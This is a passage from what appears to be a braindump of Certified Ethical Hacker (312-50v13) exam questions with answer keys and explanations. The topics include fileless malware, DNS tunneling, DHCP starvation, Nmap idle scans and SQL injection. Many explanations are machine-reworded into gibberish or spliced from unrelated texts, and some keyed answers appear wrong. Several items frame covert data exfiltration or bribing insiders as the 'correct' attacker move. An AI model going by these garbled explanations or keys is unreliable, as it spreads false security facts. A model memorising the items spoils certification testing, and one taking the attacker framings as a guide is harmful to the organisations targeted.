container technology architecture. Currently. Abel is verifying and validating image contents, signing images, and sending them to the registries. Which of the
following tiers of the container technology architecture Is Abel currently working in?

A. Tier-1: Developer machines

B. Tier-4: Orchestrators

C. Tier-3: Registries

D. Tier-2: Testing and accreditation systems

Answer: D

Explanation:

The official management decision given by a senior agency official to authorize operation of an information system and to explicitly accept the risk to agency
operations (including mission, functions, image, or reputation), agency assets, or individuals, based on the implementation of an agreed-upon set of security
controls. formal declaration by a designated accrediting authority (DAA) or principal accrediting

authority (PAA) that an information system is approved to operate at an acceptable level of risk, based on the implementation of an approved set of technical,
managerial, and procedural safeguards. See authorization to operate (ATO). Rationale: The Risk Management Framework uses a new term to refer to this
concept, and it is called authorization.

Identifies the information resources covered by an accreditation decision, as distinguished from separately accredited information resources that are
interconnected or with which information is exchanged via messaging. Synonymous with Security Perimeter.

For the purposes of identifying the Protection Level for confidentiality of a system to be accredited, the system has a conceptual boundary that extends to all
intended users of the system, both directly and indirectly connected, who receive output from the system. See authorization boundary. Rationale: The Risk
Management Framework uses a new term to

refer to the concept of accreditation, and it is called authorization. Extrapolating, the accreditation boundary would then be referred to as the authorization
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boundary.

NEW QUESTION 228

- (Topic 2)

Security administrator John Smith has noticed abnormal amounts of traffic coming from local computers at night. Upon reviewing, he finds that user data have
been exfilltrated by an attacker. AV tools are unable to find any malicious software, and the IDS/IPS has not reported on any non-whitelisted programs, what type
of malware did the attacker use to bypass the company's application whitelisting?

A. Phishing malware
B. Zero-day malware
C. File-less malware
D. Logic bomb malware

Answer: C

Explanation:

https://www.mcafee.com/enterprise/en-us/security-

awareness/ransomware/what-is-fileless-malware.html

Fileless malware can easily evade various security controls, organizations need to focus on monitoring, detecting, and preventing malicious activities instead of
using traditional approaches such as scanning for malware through file signatures.Also known as non- malware, infects legitimate software, applications, and other
protocols existing in the system to perform various malicious activities.It resides in the system??s RAM. It injects malicious code into the running processes.
(P.966/950)

NEW QUESTION 230

- (Topic 2)

You are analysing traffic on the network with Wireshark. You want to routinely run a cron job which will run the capture against a specific set of IPs -
192.168.8.0/24. What command you would use?

A. wireshark --fetch "192.168.8*"

B. wireshark --capture --local masked 192.168.8.0 ---range 24
C. tshark -net 192.255.255.255 mask 192.168.8.0

D. sudo tshark -f'net 192 .68.8.0/24"

Answer: D

NEW QUESTION 235
- (Topic 2)
What is the file that determines the basic configuration (specifically activities, services, broadcast receivers, etc.) in an Android application?

A. AndroidManifest.xml
B. APK.info

C. resources.asrc

D. classes.dex

Answer: A

Explanation:

The AndroidManifest.xml file contains information of your package, including components of the appliance like activities, services, broadcast receivers, content
providers etc.It performs another tasks also:e it??s responsible to guard the appliance to access any protected parts by providing the permissions.s It also declares
the android api that the appliance goes to use.e It lists the instrumentation classes. The instrumentation classes provides profiling and other informations. These
informations are removed just before the appliance is published etc.This is the specified xml file for all the android application and located inside the basis
directory.

NEW QUESTION 238

- (Topic 2)

You are trying to break into a highly classified top-secret mainframe computer with highest security system in place at Merclyn Barley Bank located in Los Angeles.
You know that conventional hacking doesn't work in this case, because organizations such as banks are generally tight and secure when it comes to protecting
their systems.

In other words, you are trying to penetrate an otherwise impenetrable system. How would you proceed?

A. Look for "zero-day" exploits at various underground hacker websites in Russia and China and buy the necessary exploits from these hackers and target the
bank's network

B. Try to hang around the local pubs or restaurants near the bank, get talking to a poorly- paid or disgruntled employee, and offer them money if they'll abuse their
access privileges by providing you with sensitive information

C. Launch DDOS attacks against Merclyn Barley Bank's routers and firewall systems using 100, 000 or more "zombies" and "bots"

D. Try to conduct Man-in-the-Middle (MiTM) attack and divert the network traffic going to the Merclyn Barley Bank's Webserver to that of your machine using DNS
Cache Poisoning techniques

Answer: B

NEW QUESTION 242

- (Topic 2)

You have successfully logged on a Linux system. You want to now cover your trade Your login attempt may be logged on several files located in /var/log. Which
file does NOT belongs to the list:

A. user.log

B. auth.fesg
C. wtmp
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D. btmp

Answer: C

NEW QUESTION 244

- (Topic 2)

Widespread fraud ac Enron. WorldCom, and Tyco led to the creation of a law that was designed to improve the accuracy and accountability of corporate
disclosures. It covers accounting firms and third parties that provide financial services to some organizations and came into effect in 2002. This law is known by
what acronym?

A. Fed RAMP
B. PCIDSS
C. SOX

D. HIPAA

Answer: C

Explanation:

The Sarbanes-Oxley Act of 2002 could be a law the U.S. Congress passed on July thirty of that year to assist defend investors from fallacious money coverage by
companies.Also called the SOX Act of 2002 and also the company Responsibility Act of 2002, it mandated strict reforms to existing securities rules and obligatory
powerful new penalties on law breakers.

The Sarbanes-Oxley law Act of 2002 came in response to money scandals within the early 2000s involving in public listed corporations like Enron Corporation,
Tyco International plc, and WorldCom. The high-profile frauds cask capitalist confidence within the trustiness of company money statements Associate in Nursingd
light-emitting diode several to demand an overhaul of decades-old restrictive standards.

NEW QUESTION 248

- (Topic 2)

You work for Acme Corporation as Sales Manager. The company has tight network security restrictions. You are trying to steal data from the company's Sales
database (Sales.xlIs) and transfer them to your home computer. Your company filters and monitors traffic that leaves from the internal network to the Internet. How
will you achieve this without raising suspicion?

A. Encrypt the Sales.xlIs using PGP and e-mail it to your personal gmail account

B. Package the Sales.xls using Trojan wrappers and telnet them back your home computer

C. You can conceal the Sales.xIs database in another file like photo.jpg or other files and send it out in an innocent looking email or file transfer using
Steganography techniques

D. Change the extension of Sales.xls to sales.txt and upload them as attachment to your hotmail account

Answer: C

NEW QUESTION 250
- (Topic 2)
In the context of Windows Security, what is a 'null’ user?

A. A user that has no skills

B. An account that has been suspended by the admin

C. A pseudo account that has no username and password

D. A pseudo account that was created for security administration purpose

Answer: C

NEW QUESTION 254

- (Topic 2)

Henry Is a cyber security specialist hired by BlackEye - Cyber security solutions. He was tasked with discovering the operating system (OS) of a host. He used the
Unkornscan tool to discover the OS of the target system. As a result, he obtained a TTL value, which Indicates that the target system is running a Windows OS.
Identify the TTL value Henry obtained, which indicates that the target OS is Windows.

A. 64

B. 128
C. 255
D. 138

Answer: B

Explanation:

Windows TTL 128, Linux TTL 64, OpenBSD 255 ... https://subinsb.com/default-device-ttl-values/

Time to Live (TTL) represents to number of 'hops' a packet can take before it is considered invalid. For Windows/Windows Phone, this value is 128. This value is
64 for Linux/Android.

NEW QUESTION 259
- (Topic 2)
Which of the following statements is FALSE with respect to Intrusion Detection Systems?

A. Intrusion Detection Systems can be configured to distinguish specific content in network packets

B. Intrusion Detection Systems can easily distinguish a malicious payload in an encrypted traffic

C. Intrusion Detection Systems require constant update of the signature library

D. Intrusion Detection Systems can examine the contents of the data n context of the network protocol

Answer: B
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NEW QUESTION 263

- (Topic 2)

Which of the following DoS tools is used to attack target web applications by starvation of available sessions on the web server?

The tool keeps sessions at halt using never-ending POST transmissions and sending an arbitrarily large content-length header value.

A. My Doom

B. Astacheldraht

C. R-U-Dead-Yet?(RUDY)
D. LOIC

Answer: C

NEW QUESTION 264

- (Topic 2)

You are attempting to crack LM Manager hashed from Windows 2000 SAM file. You will be using LM Brute force hacking tool for decryption. What encryption
algorithm will you be decrypting?

A. MD4
B. DES
C. SHA
D. SSL

Answer: B

NEW QUESTION 265

- (Topic 2)

The network team has well-established procedures to follow for creating new rules on the firewall. This includes having approval from a manager prior to
implementing any new rules. While reviewing the firewall configuration, you notice a recently implemented rule but cannot locate manager approval for it. What
would be a good step to have in the procedures for a situation like this?

A. Have the network team document the reason why the rule was implemented withoutprior manager approval.

B. Monitor all traffic using the firewall rule until a manager can approve it.

C. Do not roll back the firewall rule as the business may be relying upon it, but try to get manager approval as soon as possible.
D. Immediately roll back the firewall rule until a manager can approve it

Answer: D

NEW QUESTION 270

- (Topic 2)

Bob was recently hired by a medical company after it experienced a major cyber security breach. Many patients are complaining that their personal medical
records are fully exposed on the Internet and someone can find them with a simple Google search. Bob's boss is very worried because of regulations that protect
those data. Which of the following regulations is mostly violated?

A. HIPPA/PHI
B. PII

C. PCIDSS
D. ISO 2002

Answer: A

Explanation:

PHI stands for Protected Health info. The HIPAA Privacy Rule provides federal protections for private health info held by lined entities and provides patients an
array of rights with regard to that info. under HIPAA phi is considered to be any identifiable health info that??s used, maintained, stored, or transmitted by a HIPAA-
covered entity — a healthcare provider, health plan or health insurer, or a aid clearinghouse — or a business associate of a HIPAA-covered entity, in relation to the
availability of aid or payment for aid services.

It is not only past and current medical info that??s considered letter under HIPAA Rules, however also future info concerning medical conditions or physical and
mental health related to the provision of care or payment for care. phi is health info in any kind, together with physical records, electronic records, or spoken info.
Therefore, letter includes health records, medical histories, lab check results, and medical bills. basically, all health info is considered letter once it includes
individual identifiers. Demographic info is additionally thought of phi underneath HIPAA Rules, as square measure several common identifiers like patient names,
Social Security numbers, Driver??s license numbers, insurance details, and birth dates, once they square measure connected with health info.

The eighteen identifiers that create health info letter are:
? Names

? Dates, except year

? phonephone numbers

? Geographic information

? FAX numbers
? Social Security numbers
? Email addresses
? case history numbers
? Account numbers
? Health arrange beneficiary numbers
? Certificate/license numbers
? Vehicle identifiers and serial numbers together with license plates
? Web URLs
? Device identifiers and serial numbers
? net protocol addresses
? Full face photos and comparable pictures
? Biometric identifiers (i.e. retinal scan, fingerprints)

? Any distinctive identifying variety or code
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One or a lot of of those identifiers turns health info into letter, and phi HIPAA Privacy Rule restrictions can then apply that limit uses and disclosures of the data.
HIPAA lined entities and their business associates will ought to guarantee applicable technical, physical, and body safeguards are enforced to make sure the
confidentiality, integrity, and availability of phi as stipulated within the HIPAA Security Rule.

NEW QUESTION 275

- (Topic 2)

Attacker Steve targeted an organization's network with the aim of redirecting the company's web traffic to another malicious website. To achieve this goal, Steve
performed DNS cache poisoning by exploiting the vulnerabilities In the DNS server software and modified the original IP address of the target website to that of a
fake website. What is the technique employed by Steve to gather information for identity theft?

A. Pretexting
B. Pharming
C. Wardriving
D. Skimming

Answer: B

Explanation:

A pharming attacker tries to send a web site??s traffic to a faux website controlled by the offender, typically for the aim of collection sensitive data from victims or
putting in malware on their machines. Attacker tend to specialize in making look-alike ecommerce and digital banking websites to reap credentials and payment
card data. Though they share similar goals, pharming uses a special technique from phishing. ??Pharming attacker are targeted on manipulating a system, instead
of tricking people into

reaching to a dangerous web site,?? explains David Emm, principal security man of science at Kaspersky. ??When either a phishing or pharming attacker is
completed by a criminal, they need a similar driving issue to induce victims onto a corrupt location, however the mechanisms during which this is often undertaken
are completely different.??

NEW QUESTION 276

- (Topic 2)

Gilbert, a web developer, uses a centralized web API to reduce complexity and increase the Integrity of updating and changing data. For this purpose, he uses a
web service that uses HTTP methods such as PUT. POST. GET. and DELETE and can improve the overall performance, visibility, scalability, reliability, and
portability of an application. What is the type of web-service APl mentioned in the above scenario?

A. JSON-RPC
B. SOAP API
C. RESTful API
D. REST API

Answer: C

Explanation:

*REST is not a specification, tool, or framework, but instead is an architectural style for web services that serves as a communication medium between various
systems on the web. *RESTful APIs, which are also known as RESTful services, are designed using REST principles and HTTP communication protocols RESTful
is a collection of resources that use HTTP methods such as PUT, POST, GET, and DELETE

RESTful API: RESTful APl is a RESTful service that is designed using REST principles and HTTP communication protocols. RESTful is a collection of resources
that use HTTP methods such as PUT, POST, GET, and DELETE. RESTful API is also designed to make applications independent to improve the overall
performance, visibility, scalability, reliability, and portability of an application. APIs with the following features can be referred to as to RESTful APIs: o Stateless:
The client end stores the state of the session; the server is restricted to save data during the request processing o Cacheable: The client should save responses
(representations) in the cache. This feature can enhance API performance pg. 1920 CEHv11 manual.
https://cloud.google.com/files/apigee/apigee-web-api-design-the-missing-link-ebook. pdf

The HTTP methods GET, POST, PUT or PATCH, and DELETE can be used with these templates to read, create, update, and delete description resources for
dogs and their owners. This API style has become popular for many reasons. It is straightforward and intuitive, and learning this pattern is similar to learning a
programming language API. APIs like this one are commonly called RESTful APls, although they do not display all of the characteristics that define REST (more
on REST later).

NEW QUESTION 280

- (Topic 2)

There have been concerns in your network that the wireless network component is not sufficiently secure. You perform a vulnerability scan of the wireless network
and find that it is using an old encryption protocol that was designed to mimic wired encryption, what encryption protocol is being used?

A. WEP

B. RADIUS
C. WPA

D. WPA3

Answer: A

Explanation:

Wired Equivalent Privacy (WEP) may be a security protocol, laid out in the IEEE wireless local area network (Wi-Fi) standard, 802.11b, that??s designed to supply
a wireless local area network (WLAN) with A level of security and privacy like what??s usually expected of a wired LAN. A wired local area network (LAN) is
usually protected by physical security mechanisms (controlled access to a building, for example) that are effective for a controlled physical environment, but could
also be ineffective for WLANs because radio waves aren??t necessarily bound by the walls containing the network. WEP seeks to determine similar protection
thereto offered by the wired network??s physical security measures by encrypting data transmitted over the WLAN. encoding protects the vulnerable wireless link
between clients and access points; once this measure has been taken, other typical LAN security mechanisms like password protection, end-to-end encryption,
virtual private networks (VPNs), and authentication are often put in situ to make sure privacy.A research group from the University of California at Berkeley recently
published a report citing ??major security flaws?? in WEP that left WLANSs using the protocol susceptible to attacks (called wireless equivalent privacy attacks).
within the course of the group??s examination of the technology, they were ready to intercept and modify transmissions and gain access to restricted networks.
The Wireless Ethernet Compatibility Alliance (WECA) claims that WEP— which is included in many networking products — was never intended to be the only
security mechanism for a WLAN, and that, in conjunction with traditional security practices, it??s very effective.
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NEW QUESTION 283

- (Topic 2)

Alice needs to send a confidential document to her coworker. Bryan. Their company has public key infrastructure set up. Therefore. Alice both encrypts the
message and digitally signs it. Alice uses to encrypt the message, and Bryan uses to confirm the digital signature.

A. Bryan??s public key; Bryan??s public key
B. Alice??s public key; Alice??s public key

C. Bryan??s private key; Alice??s public key
D. Bryan??s public key; Alice??s public key

Answer: D

Explanation:

PKI uses public-key cryptography, which is widely used on the Internet to encrypt messages or authenticate message senders. In public-key cryptography, a CA
generates public and private keys with the same algorithm simultaneously. The private key is held only by the subject (user, company, or system) mentioned in the
certificate, while the public key is made publicly available in a directory that all parties can access. The subject keeps the private key secret and uses it to decrypt
the text encrypted by someone else using the corresponding public key (available in a public directory). Thus, others encrypt messages for the user with the user's
public key, and the user decrypts it with his/her private key.

NEW QUESTION 287

- (Topic 2)

Robin, an attacker, is attempting to bypass the firewalls of an organization through the DNS tunneling method in order to exfiltrate data. He is using the NSTX tool
for bypassing the firewalls. On which of the following ports should Robin run the NSTX tool?

A. Port 53
B. Port 23
C. Port 50
D. Port 80

Answer: A

Explanation:

DNS uses Ports 53 which is almost always open on systems, firewalls, and clients to transmit DNS queries. instead of the more familiar Transmission Control
Protocol (TCP) these queries use User Datagram Protocol (UDP) due to its low-latency, bandwidth and resource usage compared TCP-equivalent queries. UDP
has no error or flow-control capabilities, nor does it have any integrity checking to make sure the info arrived intact.How is internet use (browsing, apps, chat etc)
so reliable then? If the UDP DNS query fails (it??s a best-effort protocol after all) within the first instance, most systems will retry variety of times and only after
multiple failures, potentially switch to TCP before trying again; TCP is additionally used if the DNS query exceeds the restrictions of the UDP datagram size —
typically 512 bytes for DNS but can depend upon system settings.Figure 1 below illustrates the essential process of how DNS operates: the client sends a question
string (for example, mail.google[.Jcom during this case) with a particular type — typically A for a number address. 1??ve skipped the part whereby intermediate DNS
systems may need to establish where ??.com?? exists, before checking out where ??google[.Jcom?? are often found, and so on.
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Many worms and scanners are created to seek out and exploit systems running telnet. Given these facts, it??s really no surprise that telnet is usually seen on the
highest Ten Target Ports list. Several of the vulnerabilities of telnet are fixed. They require only an upgrade to the foremost current version of the telnet Daemon or
OS upgrade. As is usually the case, this upgrade has not been performed on variety of devices. this might flow from to the very fact that a lot of systems
administrators and users don??t fully understand the risks involved using telnet. Unfortunately, the sole solution for a few of telnets vulnerabilities is to completely
discontinue its use. the well-liked method of mitigating all of telnets vulnerabilities is replacing it with alternate protocols like ssh. Ssh is capable of providing many
of an equivalent functions as telnet and a number of other additional services typical handled by other protocols like FTP and Xwindows. Ssh does still have
several drawbacks to beat before it can completely replace telnet. it??s typically only supported on newer equipment. It requires processor and memory resources
to perform the info encryption and decryption. It also requires greater bandwidth than telnet thanks to the encryption of the info . This paper was written to assist
clarify how dangerous the utilization of telnet are often and to supply solutions to alleviate the main known threats so as to enhance the general security of the web
Once a reputation is resolved to an IP caching also helps: the resolved name-to-IP is usually cached on the local system (and possibly on intermediate DNS
servers) for a period of your time . Subsequent queries for an equivalent name from an equivalent client then don??t leave the local system until said cache
expires. Of course, once the IP address of the remote service is understood , applications can use that information to enable other TCP- based protocols, like
HTTP, to try to to their actual work, for instance ensuring internet cat GIFs are often reliably shared together with your colleagues.So, beat all, a couple of dozen
extra UDP DNS queries from an organization??s network would be fairly inconspicuous and will leave a malicious payload to beacon bent an adversary;
commands could even be received to the requesting application for processing with little difficulty.

NEW QUESTION 292
- (Topic 2)
This form of encryption algorithm is asymmetric key block cipher that is characterized by a 128-bit block size, and its key size can be up to 256 bits. Which among
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the following is this encryption algorithm?

A. Twofish encryption algorithm
B. HMAC encryption algorithm
C. IDEA

D. Blowfish encryption algorithm

Answer: A

Explanation:

Twofish is an encryption algorithm designed by Bruce Schneier. 1t??s a symmetric key block cipher with a block size of 128 bits, with keys up to 256 bits. it??s
associated with AES (Advanced Encryption Standard) and an earlier block cipher called Blowfish. Twofish was actually a finalist to become the industry standard
for encryption, but was ultimately beaten out by the present AES.Twofish has some distinctive features that set it aside from most other cryptographic protocols.
For one, it uses pre-computed, key- dependent S-boxes. An S-box (substitution-box) may be a basic component of any symmetric key algorithm which performs
substitution. within the context of Twofish??s block cipher, the S-box works to obscure the connection of the key to the ciphertext. Twofish uses a pre-computed,
key-dependent S-box which suggests that the S-box is already provided, but depends on the cipher key to decrypt the knowledge .

How Secure is Twofish?Twofish is seen as a really secure option as far as encryption protocols go. one among the explanations that it wasn??t selected because
the advanced encryption standard is thanks to its slower speed. Any encryption standard that uses a 128-

bit or higher key, is theoretically safe from brute force attacks. Twofish is during this category.Because Twofish uses ??pre-computed key-dependent S-boxes??, it
are often susceptible to side channel attacks. this is often thanks to the tables being pre-computed. However, making these tables key-dependent helps mitigate
that risk. There are a couple of attacks on Twofish, but consistent with its creator, Bruce Schneier, it didn??t constitute a real cryptanalysis. These attacks didn??t
constitue a practical break within the cipher.

Products That Use TwofishGnuPG: GnuPG may be a complete and free implementation of the OpenPGP standard as defined by RFC4880 (also referred to as
PGP). GnuPG allows you to encrypt and sign your data and communications; it features a flexible key management system, along side access modules for all
types of public key directories.KeePass: KeePass may be a password management tool that generates passwords with top-notch security. It??s a free, open
source, lightweight and easy-to-use password manager with many extensions and plugins.Password Safe: Password Safe uses one master password to stay all of
your passwords protected, almost like the functionality of most of the password managers on this list. It allows you to store all of your passwords during a single
password database, or multiple databases for various purposes. Creating a database is straightforward , just create the database, set your master password.PGP
(Pretty Good Privacy): PGP is employed mostly for email encryption, it encrypts the content of the e-mail . However, Pretty Good Privacy doesn??t encrypt the
topic and sender of the e- mail , so make certain to never put sensitive information in these fields when using PGP.TrueCrypt: TrueCrypt may be a software
program that encrypts and protects files on your devices. With TrueCrypt the encryption is transparent to the user and is completed locally at the user??s
computer. this suggests you??ll store a TrueCrypt file on a server and TrueCrypt will encrypt that file before it??s sent over the network.

NEW QUESTION 297

- (Topic 2)

While scanning with Nmap, Patin found several hosts which have the IP ID of incremental sequences. He then decided to conduct: nmap -Pn -p- -si
kiosk.adobe.com www.riaa.com. kiosk.adobe.com is the host with incremental IP ID sequence. What is the purpose of using "-si" with Nmap?

A. Conduct stealth scan
B. Conduct ICMP scan
C. Conduct IDLE scan
D. Conduct silent scan

Answer: C

Explanation:

Once a suitable zombie has been found, performing a scan is easy. Simply specify the zombie hostname to the -sl option and Nmap does the rest. Example 5.19
shows an example of Ereet scanning the Recording Industry Association of America by bouncing an idle scan off an Adobe machine named Kiosk.
Example 5.19. An idle scan against the RIAA

# nmap -Pn -p- -sl kiosk.adobe.com www.riaa.com Starting Nmap ( http://nmap.org )

Idlescan using zombie kiosk.adobe.com (192.150.13.111:80); Class: Incremental Nmap scan report for 208.225.90.120
(The 65522 ports scanned but not shown below are in state: closed)

Port State Service

21/tcp open ftp

25/tcp open smtp

80/tcp open http

111/tcp open sunrpc

135/tcp open loc-srv

443/tcp open https

1027/tcp open IIS

1030/tcp open iadl

2306/tcp open unknown

5631/tcp open pcanywheredata

7937/tcp open unknown

7938/tcp open unknown

36890/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 2594.47 seconds

https://nmap.org/book/idlescan.html

NEW QUESTION 300
- (Topic 2)
What is the minimum number of network connections in a multi homed firewall?

ooy
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Answer: A

Passing Certification Exams Made Easy visit - https://lwww.2PassEasy.com



Welcome to download the Newest 2passeasy 312-50v13 dumps

@ 2 P QsseaQs LJ https://www.2passeasy.com/dumps/312-50v13/ (572 New Questions)

NEW QUESTION 304
- (Topic 2)
Which of the following are well known password-cracking programs?

A. LOphtcrack

B. NetCat

C. Jack the Ripper
D. Netbus

E. John the Ripper

Answer: AE

NEW QUESTION 309

- (Topic 2)

Elliot is in the process of exploiting a web application that uses SQL as a back-end database. He??s determined that the application is vulnerable to SQL injection,
and has introduced conditional timing delays into injected queries to determine whether they are successful. What type of SQL injection is Elliot most likely
performing?

A. Error-based SQL injection
B. Blind SQL injection

C. Union-based SQL injection
D. NoSQL injection

Answer: B

NEW QUESTION 311

- (Topic 2)

Attacker Rony Installed a rogue access point within an organization's perimeter and attempted to Intrude into its internal network. Johnson, a security auditor,
identified some unusual traffic in the internal network that is aimed at cracking the authentication mechanism. He immediately turned off the targeted network and
tested for any weak and outdated security mechanisms that are open to attack. What is the type of vulnerability assessment performed by Johnson in the above
scenario?

A. Distributed assessment
B. Wireless network assessment
C. Host-based assessment
D. Application assessment

Answer: B

Explanation:

Wireless network assessment determines the vulnerabilities in an organization??s wireless networks. In the past, wireless networks used weak and defective data
encryption mechanisms. Now, wireless network standards have evolved, but many networks still use weak and outdated security mechanisms and are open to
attack. Wireless network assessments try to attack wireless authentication mechanisms and gain unauthorized access. This type of assessment tests wireless
networks and identifies rogue networks that may exist within an organization??s perimeter. These assessments audit client-specified sites with a wireless network.
They sniff wireless network traffic and try to crack encryption keys. Auditors test other network access if they gain access to the wireless network.

Expanding your network capabilities are often done well using wireless networks, but it also can be a source of harm to your data system . Deficiencies in its
implementations or configurations can allow tip to be accessed in an unauthorized manner.This makes it imperative to closely monitor your wireless network while
also conducting periodic Wireless Network assessment.lt identifies flaws and provides an unadulterated view of exactly how vulnerable your systems are to
malicious and unauthorized accesses.ldentifying misconfigurations and inconsistencies in wireless implementations and rogue access points can improve your
security posture and achieve compliance with regulatory frameworks.

NEW QUESTION 315

- (Topic 2)

Emily, an extrovert obsessed with social media, posts a large amount of private information, photographs, and location tags of recently visited places. Realizing
this. James, a professional hacker, targets Emily and her acquaintances, conducts a location search to detect their geolocation by using an automated tool, and
gathers information to perform other sophisticated attacks. What is the tool employed by James in the above scenario?

A. ophcrack

B. Hootsuite
C. VisualRoute
D. HULK

Answer: B

Explanation:

Hootsuite may be a social media management platform that covers virtually each side of a social media manager??s role.

With only one platform users area unit ready to do the easy stuff like reverend cool content and schedule posts on social media in all the high to managing team
members and measure ROI.

There area unit many totally different plans to decide on from, from one user set up up to a bespoken enterprise account that??s appropriate for much larger
organizations.

Conducting location search on social media sites such as Twitter, Instagram, and Facebook helps attackers to detect the geolocation of the target. This information
further helps attackers to perform various social engineering and non-technical attacks. Many online tools such as Followerwonk, Hootsuite, and Sysomos are
available to search for both geotagged and non-geotagged information on social media sites. Attackers search social media sites using these online tools using
keywords, usernames, date, time, and so on...

NEW QUESTION 318

- (Topic 2)

What piece of hardware on a computer's motherboard generates encryption keys and only releases a part of the key so that decrypting a disk on a new piece of
hardware is not possible?
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A. CPU
B. GPU
C. UEFI
D. TPM

Answer: D

Explanation:
The TPM is a chip that'spart of youcr omputer's motherboard — if you bought an off-the-shelf PC, it's soldered onto the motherboard. If you built your own
computer, you can buy one as an add-on module if your motherboard supports it. The TPM generates encryption keys, keeping part of the key to itself

NEW QUESTION 319

- (Topic 2)

Abel, a security professional, conducts penetration testing in his client organization to check for any security loopholes. He launched an attack on the DHCP
servers by broadcasting forged DHCP requests and leased all the DHCP addresses available in the DHCP scope until the server could not issue any more IP
addresses. This led to a Dos attack, and as a result, legitimate employees were unable to access the clients network. Which of the following attacks did Abel
perform in the above scenario?

A. VLAN hopping

B. DHCP starvation

C. Rogue DHCP server attack
D. STP attack

Answer: B

Explanation:

A DHCP starvation assault is a pernicious computerized assault that objectives DHCP workers. During a DHCP assault, an unfriendly entertainer floods a DHCP
worker with false DISCOVER bundles until the DHCP worker debilitates its stock of IP addresses. When that occurs, the aggressor can deny genuine organization
clients administration, or even stock an other DHCP association that prompts a Man-in-the-Middle (MITM) assault.

In a DHCP Starvation assault, a threatening entertainer sends a huge load of false DISCOVER parcels until the DHCP worker thinks they??ve used their
accessible pool. Customers searching for IP tends to find that there are no IP addresses for them, and they??re refused assistance. Furthermore, they may search
for an alternate DHCP worker, one which the unfriendly entertainer may give. What??s more, utilizing a threatening or sham IP address, that unfriendly entertainer
would now be able to peruse all the traffic that customer sends and gets.

In an unfriendly climate, where we have a malevolent machine running some sort of an instrument like Yersinia, there could be a machine that sends DHCP
DISCOVER bundles. This malevolent customer doesn??t send a modest bunch — it sends a great many vindictive DISCOVER bundles utilizing sham, made-up
MAC addresses as the source MAC address for each solicitation.

In the event that the DHCP worker reacts to every one of these false DHCP DISCOVER parcels, the whole IP address pool could be exhausted, and that DHCP
worker could trust it has no more IP delivers to bring to the table to legitimate DHCP demands.

When a DHCP worker has no more IP delivers to bring to the table, ordinarily the following thing to happen would be for the aggressor to get their own DHCP
worker. This maverick DHCP worker at that point starts giving out IP addresses.

The advantage of that to the assailant is that if a false DHCP worker is distributing IP addresses, including default DNS and door data, customers who utilize those
IP delivers and begin to utilize that default passage would now be able to be directed through the aggressor??s machine. That is all that an unfriendly entertainer
requires to play out a man-in- the-center (MITM) assault.

NEW QUESTION 320

- (Topic 2)

Andrew is an Ethical Hacker who was assigned the task of discovering all the active devices hidden by a restrictive firewall in the IPv4 range in a given target
network.

Which of the following host discovery techniques must he use to perform the given task?

A. UDP scan

B. TCP Maimon scan
C. arp ping scan

D. ACK flag probe scan

Answer: C

Explanation:

One of the most common Nmap usage scenarios is scanning an Ethernet LAN. Most LANs, especially those that use the private address range granted by RFC
1918, do not always use the overwhelming majority of IP addresses. When Nmap attempts to send a raw IP packet, such as an ICMP echo request, the OS must
determine a destination hardware (ARP) address, such as the target IP, so that the Ethernet frame can be properly addressed. .. This is required to issue a series
of ARP requests. This is best illustrated by an example where a ping scan is attempted against an Area Ethernet host. The —send-ip option tells Nmap to send IP-
level packets (rather than raw Ethernet), even on area networks. The Wireshark output of the three ARP requests and their timing have been pasted into the
session.

Raw IP ping scan example for offline targetsThis example took quite a couple of seconds to finish because the (Linux) OS sent three ARP requests at 1 second
intervals before abandoning the host. Waiting for a few seconds is excessive, as long as the ARP response usually arrives within a few milliseconds. Reducing this
timeout period is not a priority for OS vendors, as the overwhelming majority of packets are sent to the host that actually

exists. Nmap, on the other hand, needs to send packets to 16 million IP s given a target like 10.0.0.0/8. Many targets are pinged in parallel, but waiting 2 seconds
each is very delayed.

There is another problem with raw IP ping scans on the LAN. If the destination host turns out to be unresponsive, as in the previous example, the source host
usually adds an incomplete entry for that destination IP to the kernel ARP table. ARP tablespaces are finite and some operating systems become unresponsive
when full. If Nmap is used in rawlP mode (—send-ip), Nmap may have to wait a few minutes for the ARP cache entry to expire before continuing host discovery.
ARP scans solve both problems by giving Nmap the highest priority. Nmap issues raw ARP requests and handles retransmissions and timeout periods in its sole
discretion. The system ARP cache is bypassed. The example shows the difference. This ARP scan takes just over a tenth of the time it takes for an equivalent IP.
Example b ARP ping scan of offline target
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In example b, neither the -PR option nor the -send-eth option has any effect. This is often because ARP has a default scan type on the Area Ethernet network
when scanning Ethernet hosts that Nmap discovers. This includes traditional wired Ethernet as 802.11 wireless networks. As mentioned above, ARP scanning is
not only more efficient, but also more accurate. Hosts frequently block IP-based ping packets, but usually cannot block ARP requests or responses and
communicate over the network.Nmap uses ARP instead of all targets on equivalent targets, even if different ping types (such as -PE and -PS) are specified. LAN..
If you do not need to attempt an ARP scan at all, specify —send-ip as shown in Example a ??Raw IP Ping Scan for Offline Targets??.

If you give Nmap control to send raw Ethernet frames, Nmap can also adjust the source MAC address. If you have the only PowerBook in your security conference
room and a large ARP scan is initiated from an Apple-registered MAC address, your head may turn to you. Use the —spoof-mac option to spoof the MAC address
as described in the MAC Address Spoofing section.

NEW QUESTION 321
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